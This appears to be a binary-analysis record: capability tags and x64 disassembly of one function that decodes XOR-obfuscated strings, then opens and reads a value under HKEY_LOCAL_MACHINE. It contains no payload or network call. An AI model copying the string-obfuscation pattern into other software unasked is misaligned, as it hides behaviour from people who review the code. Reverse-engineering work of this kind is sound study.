Function at 0x14000b020
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
lea rbp, [rax - 0xe8]
sub rsp, 0x1e0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x1400a1028]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov rbx, rdx
mov qword [rbp - 0x80], rdx
xor ecx, ecx
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdx], cl
mov dword [rsp + 0x40], 1
movups xmm0, xmmword [0x140096460]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x140096470]
movups xmmword [rsp + 0x58], xmm1
movsd xmm0, qword [0x140096480]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x140096488]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x14009648c]
mov byte [rsp + 0x74], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000b212
movdqa xmm5, xmmword [0x140096c90]
movdqa xmm4, xmmword [0x140096d10]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x140096cb0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x140096cf0]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x4c]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096ce0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096ce0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
mov eax, ecx
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x14000b110
cmp eax, 0x2d
jge 0x14000b24c
movsxd rax, ecx
lea r8, [rsp + 0x48]
add r8, rax
nop dword [rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x37
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2d
jl 0x14000b220
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000b340
mov dword [rbp - 0x68], 0xff
movsd xmm0, qword [0x1400961b8]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400961c0]
mov word [rsp + 0x38], ax
cmp byte [0x1400961c1], 0
je 0x14000b2d4
mov byte [rsp + 0x30], 0x50
xor byte [rsp + 0x31], 0x38
xor byte [rsp + 0x32], 0x39
xor byte [rsp + 0x33], 0x3a
xor byte [rsp + 0x34], 0x3b
xor byte [rsp + 0x35], 0x3c
xor byte [rsp + 0x36], 0x3d
xor byte [rsp + 0x37], 0x3e
xor byte [rsp + 0x38], 0x3f
xor byte [rsp + 0x39], 0x40
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x64]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000b336
mov eax, dword [rbp - 0x68]
cmp rax, 0xff
jae 0x14000b372
mov byte [rbp + rax - 0x60], 0
lea rax, [rbp - 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b320
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.140011aa0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140013490
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret
call fcn.1400135c0
int3